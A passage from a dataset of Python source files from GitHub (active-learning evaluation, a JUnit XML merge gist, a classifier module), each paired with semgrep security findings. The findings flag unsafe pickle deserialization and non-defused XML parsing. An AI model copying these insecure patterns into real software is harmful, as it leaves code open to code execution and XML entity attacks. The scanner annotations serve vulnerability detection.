"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use paramet... | [
5,
5,
7.5
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | add_all_skills_to_json_and_to_db.py | /add_all_skills_to_json_and_to_db.py | denysgerasymuk799/AI_challenge | MIT | |
2024-11-18T19:19:09.335516+00:00 | 1,585,588,684,000 | 991a939ed99bbac22084665b42da3f6e9de53a76 | 2 | {
"blob_id": "991a939ed99bbac22084665b42da3f6e9de53a76",
"branch_name": "refs/heads/master",
"committer_date": 1585588684000,
"content_id": "9eebf71e0d5e23c0a2fdba450a9bc11b6e3b11d5",
"detected_licenses": [
"MIT"
],
"directory_id": "8dc574414a85e57f8103ae430ccf9bb7f09c5124",
"extension": "py",
"filename": "evaluate_accuracy.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 251065218,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4217,
"license": "MIT",
"license_type": "permissive",
"path": "/activelearning/pattern_based_active_learning/evaluate_accuracy.py",
"provenance": "stack-edu-0054.json.gz:580109",
"repo_name": "ADockhorn/Active-Forward-Model-Learning",
"revision_date": 1585588684000,
"revision_id": "4a78b04e352d5038f0d6ea7d0918f25d47c1ce98",
"snapshot_id": "70eea42dd52b645649c5a1862ad36c28ee07cc60",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ADockhorn/Active-Forward-Model-Learning/4a78b04e352d5038f0d6ea7d0918f25d47c1ce98/activelearning/pattern_based_active_learning/evaluate_accuracy.py",
"visit_date": "2021-05-18T02:31:17.631696"
} | 2.3125 | stackv2 | from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score
from abstractclasses.AbstractNeighborhoodPattern import CrossNeighborhoodPattern
import numpy as np
from activestateexploration.simple_lfm import MinimalLocalForwardModel
from tqdm import trange
import pickle
disable_tqdm = False
def test_pattern_accuracy(results, test_data):
if "models" not in results:
return
x_test = test_data[:, :-1]
y_test = test_data[:, -1]
accuracy = np.zeros((len(results["models"])))
for model_idx in trange(len(results["models"]), disable=disable_tqdm, desc=f"{sampler}-{data_set_name}"):
model = results["models"][model_idx]
accuracy[model_idx] = accuracy_score(y_test, model.predict(x_test))
results["pattern-based-accuracy"] = accuracy
def test_state_accuracy(results, test_data, mask, span):
if "models" not in results:
return
x_state, x_action, y_test = test_data[:, :100], test_data[:, 100], test_data[:, 101:]
accuracy_values = np.zeros(len(results["models"]))
for idx in trange(len(results["models"]), disable=disable_tqdm, desc=f"{sampler}-{data_set_name}"):
model = MinimalLocalForwardModel(results["models"][idx], mask, span, remember_predictions=True)
correct = 0
#pbar = trange(x_state.shape[0], desc="measure game-state-accuracy")
for prev_gamestate, action, result_state in zip(x_state, x_action, y_test):
#pbar.update(1)
pred = model.predict(prev_gamestate.reshape((10, 10)), action)
if np.all(pred == result_state.reshape((10, 10))):
correct += 1
#pbar.close()
accuracy_values[idx] = correct/len(x_state)
results["state-based-accuracy"] = accuracy_values
if __name__ == "__main__":
import os
span = 2
mask = CrossNeighborhoodPattern(span).get_mask()
samplers = [
"Random",
"Uncertainty",
"Margin",
"Entropy"
]
evaluation_patterns = np.load("activelearning\\pattern_based_active_learning\\data\\evaluation_patterns.npy")
evaluation_state_transitions = np.load("activelearning\\pattern_based_active_learning\\data\\evaluation-state-transitions.npy")
data_sets = [
"game_state_patterns",
"random_patterns",
"changing_random_patterns"
]
# Test pattern accuracy
for sampler in samplers:
for data_set_name in data_sets:
if os.path.exists(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}_lock.txt"):
continue
else:
with open(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}_lock.txt", "wb") as file :
pickle.dump(" ", file)
with open(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}.txt", "rb") as file :
results = pickle.load(file)
if "pattern-based-accuracy" not in results:
results["pattern-based-accuracy"] = None
with open(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}.txt", "wb") as file:
pickle.dump(results, file)
test_pattern_accuracy(results, evaluation_patterns)
with open(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}.txt", "wb") as file:
pickle.dump(results, file)
# Test state accuracy
if "state-based-accuracy" not in results or results["state-based-accuracy"] == [-1]:
results["state-based-accuracy"] = None
with open(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}.txt", "wb") as file:
pickle.dump(results, file)
test_state_accuracy(results, evaluation_state_transitions, mask, span)
with open(f"activelearning\\pattern_based_active_learning\\results\\{sampler}-Sampling_{data_set_name}.txt", "wb") as file:
pickle.dump(results, file)
| 102 | 40.34 | 145 | 19 | 941 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_53c288619fe089b4_e9190def", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 21, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/53c288619fe089b4.py", "start": {"line": 78, "col": 21, "offset": 2796}, "end": {"line": 78, "col": 43, "offset": 2818}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_53c288619fe089b4_bcfc9572", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 31, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/53c288619fe089b4.py", "start": {"line": 81, "col": 31, "offset": 2991}, "end": {"line": 81, "col": 48, "offset": 3008}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_53c288619fe089b4_7411d47c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 86, "line_end": 86, "column_start": 21, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/53c288619fe089b4.py", "start": {"line": 86, "col": 21, "offset": 3283}, "end": {"line": 86, "col": 47, "offset": 3309}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_53c288619fe089b4_c762f9bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 21, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/53c288619fe089b4.py", "start": {"line": 91, "col": 21, "offset": 3540}, "end": {"line": 91, "col": 47, "offset": 3566}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_53c288619fe089b4_a7f191e2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 97, "line_end": 97, "column_start": 21, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/53c288619fe089b4.py", "start": {"line": 97, "col": 21, "offset": 3914}, "end": {"line": 97, "col": 47, "offset": 3940}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_53c288619fe089b4_7c34dc1d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 102, "line_end": 102, "column_start": 21, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/53c288619fe089b4.py", "start": {"line": 102, "col": 21, "offset": 4190}, "end": {"line": 102, "col": 47, "offset": 4216}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.pyth... | [
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
78,
81,
86,
91,
97,
102
] | [
78,
81,
86,
91,
97,
102
] | [
21,
31,
21,
21,
21,
21
] | [
43,
48,
47,
47,
47,
47
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | evaluate_accuracy.py | /activelearning/pattern_based_active_learning/evaluate_accuracy.py | ADockhorn/Active-Forward-Model-Learning | MIT | |
2024-11-18T19:19:09.500241+00:00 | 1,676,139,610,000 | 8b622116d16b5e766921d73ecde24abdf08b5439 | 3 | {
"blob_id": "8b622116d16b5e766921d73ecde24abdf08b5439",
"branch_name": "refs/heads/master",
"committer_date": 1676139610000,
"content_id": "2c9a7e049133b9a5bec04e9dbc3ebc802723a3e1",
"detected_licenses": [
"MIT"
],
"directory_id": "255e19ddc1bcde0d3d4fe70e01cec9bb724979c9",
"extension": "py",
"filename": "snippet.py",
"fork_events_count": 19,
"gha_created_at": 1517501964000,
"gha_event_created_at": 1595733295000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 119861038,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1451,
"license": "MIT",
"license_type": "permissive",
"path": "/dockerized-gists/4320815/snippet.py",
"provenance": "stack-edu-0054.json.gz:580112",
"repo_name": "gistable/gistable",
"revision_date": 1676139610000,
"revision_id": "665d39a2bd82543d5196555f0801ef8fd4a3ee48",
"snapshot_id": "26c1e909928ec463026811f69b61619b62f14721",
"src_encoding": "UTF-8",
"star_events_count": 76,
"url": "https://raw.githubusercontent.com/gistable/gistable/665d39a2bd82543d5196555f0801ef8fd4a3ee48/dockerized-gists/4320815/snippet.py",
"visit_date": "2023-02-17T21:33:55.558398"
} | 2.90625 | stackv2 | #!/usr/bin/env python
#
# Corey Goldberg, Dec 2012
#
import os
import sys
import xml.etree.ElementTree as ET
"""Merge multiple JUnit XML files into a single results file.
Output dumps to sdtdout.
example usage:
$ python merge_junit_results.py results1.xml results2.xml > results.xml
"""
def main():
args = sys.argv[1:]
if not args:
usage()
sys.exit(2)
if '-h' in args or '--help' in args:
usage()
sys.exit(2)
merge_results(args[:])
def merge_results(xml_files):
failures = 0
tests = 0
errors = 0
time = 0.0
cases = []
for file_name in xml_files:
tree = ET.parse(file_name)
test_suite = tree.getroot()
failures += int(test_suite.attrib['failures'])
tests += int(test_suite.attrib['tests'])
errors += int(test_suite.attrib['errors'])
time += float(test_suite.attrib['time'])
cases.append(test_suite.getchildren())
new_root = ET.Element('testsuite')
new_root.attrib['failures'] = '%s' % failures
new_root.attrib['tests'] = '%s' % tests
new_root.attrib['errors'] = '%s' % errors
new_root.attrib['time'] = '%s' % time
for case in cases:
new_root.extend(case)
new_tree = ET.ElementTree(new_root)
ET.dump(new_tree)
def usage():
this_file = os.path.basename(__file__)
print 'Usage: %s results1.xml results2.xml' % this_file
if __name__ == '__main__':
main()
| 64 | 21.67 | 75 | 12 | 378 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_842a8c8b07c13c6b_db129b2e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/842a8c8b07c13c6b.py", "start": {"line": 8, "col": 1, "offset": 76}, "end": {"line": 8, "col": 35, "offset": 110}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_842a8c8b07c13c6b_730aa506", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(file_name)", "location": {"file_path": "unknown", "line_start": 39, "line_end": 39, "column_start": 16, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmppq52ww6s/842a8c8b07c13c6b.py", "start": {"line": 39, "col": 16, "offset": 648}, "end": {"line": 39, "col": 35, "offset": 667}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(file_name)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
8,
39
] | [
8,
39
] | [
1,
16
] | [
35,
35
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | snippet.py | /dockerized-gists/4320815/snippet.py | gistable/gistable | MIT | |
2024-11-18T19:19:10.437047+00:00 | 1,356,986,208,000 | e1fa1f6b139ef652bd4e043d84958a0bbdf40368 | 3 | {
"blob_id": "e1fa1f6b139ef652bd4e043d84958a0bbdf40368",
"branch_name": "refs/heads/master",
"committer_date": 1356986208000,
"content_id": "936761eb236ec2f5888d344b33da9be33ef30a27",
"detected_licenses": [
"MIT"
],
"directory_id": "dd466a232ae5a63797294b9392c21c21e450417d",
"extension": "py",
"filename": "models.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3784,
"license": "MIT",
"license_type": "permissive",
"path": "/simpleai/machine_learning/models.py",
"provenance": "stack-edu-0054.json.gz:580122",
"repo_name": "j0hn/simpleai",
"revision_date": 1356986208000,
"revision_id": "add3f2bb3c147d255b833b9282e146eabca82599",
"snapshot_id": "e52f4d2ffa13fa997641ef9c9dd31ac73d0d31e0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/j0hn/simpleai/add3f2bb3c147d255b833b9282e146eabca82599/simpleai/machine_learning/models.py",
"visit_date": "2021-01-18T07:04:15.646304"
} | 3.140625 | stackv2 | #!/usr/bin/env python
# coding: utf-8
try:
import cPickle as pickle
except ImportError:
import pickle
class Classifier(object):
"""
Base of all classifiers.
This specifies the classifier API.
"""
def __init__(self, dataset, problem):
self.dataset = dataset
self.problem = problem
@property
def attributes(self):
return self.problem.attributes
@property
def target(self):
return self.problem.target
def classify(self, example):
"""
Returns the classification for example.
"""
raise NotImplementedError()
def save(self, filepath):
"""
Pickles the tree and saves it into `filepath`
"""
if not filepath or not isinstance(filepath, basestring):
raise ValueError("Invalid filepath")
# Removes dataset so is not saved in the pickle
self.dataset = None
with open(filepath, "w") as filehandler:
pickle.dump(self, filehandler)
def distance(self, a, b):
"""
Custom distance between `a` and `b`.
"""
raise NotImplementedError()
@classmethod
def load(cls, filepath):
with open(filepath) as filehandler:
classifier = pickle.load(filehandler)
if not isinstance(classifier, Classifier):
raise ValueError("Pickled object is not a Classifier")
return classifier
class ClassificationProblem(object):
@property
def attributes(self):
attrs = getattr(self, "_attributes", None)
if attrs is not None:
return attrs
attrs = []
for name in dir(self):
if name == "attributes":
continue
method = getattr(self, name)
if getattr(method, "is_attribute", False):
attr = Attribute(method, method.name)
attrs.append(attr)
self._attributes = attrs
return attrs
def target(self, example):
raise NotImplementedError()
class VectorDataClassificationProblem(ClassificationProblem):
def __init__(self, dataset, target_index):
"""
Dataset should be an iterable, *not* an iterator
"""
try:
example = next(iter(dataset))
except StopIteration:
raise ValueError("Dataset is empty")
self.i = target_index
N = len(example)
attributes = list(self.attributes)
if self.i < 0:
self.i = N + self.i
if self.i < 0 or N <= self.i:
raise ValueError("Target index is out of range")
for i in xrange(N):
if i == self.i:
continue
attribute = VectorIndexAttribute(i, "data at index {}".format(i))
attributes.append(attribute)
self._attributes = attributes
def target(self, example):
return example[self.i]
class Attribute(object):
def __init__(self, function=None, name=None, description=None):
self.name = name
self.function = function
self.description = description
def reason(self, example):
"""
Returns a string with an explanation of
why the attribute is being applied.
"""
raise NotImplementedError()
def __call__(self, example):
return self.function(example)
class VectorIndexAttribute(Attribute):
def __init__(self, i, name=None, description=None):
self.i = i
self.name = name
self.description = description
def __call__(self, vector):
return vector[self.i]
def is_attribute(method, name=None):
if name is None:
name = method.__name__
method.is_attribute = True
method.name = name
return method
| 145 | 25.1 | 77 | 16 | 756 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_aead1f2f4f8e5d13_3acd8b80", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/aead1f2f4f8e5d13.py", "start": {"line": 44, "col": 14, "offset": 944}, "end": {"line": 44, "col": 33, "offset": 963}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": 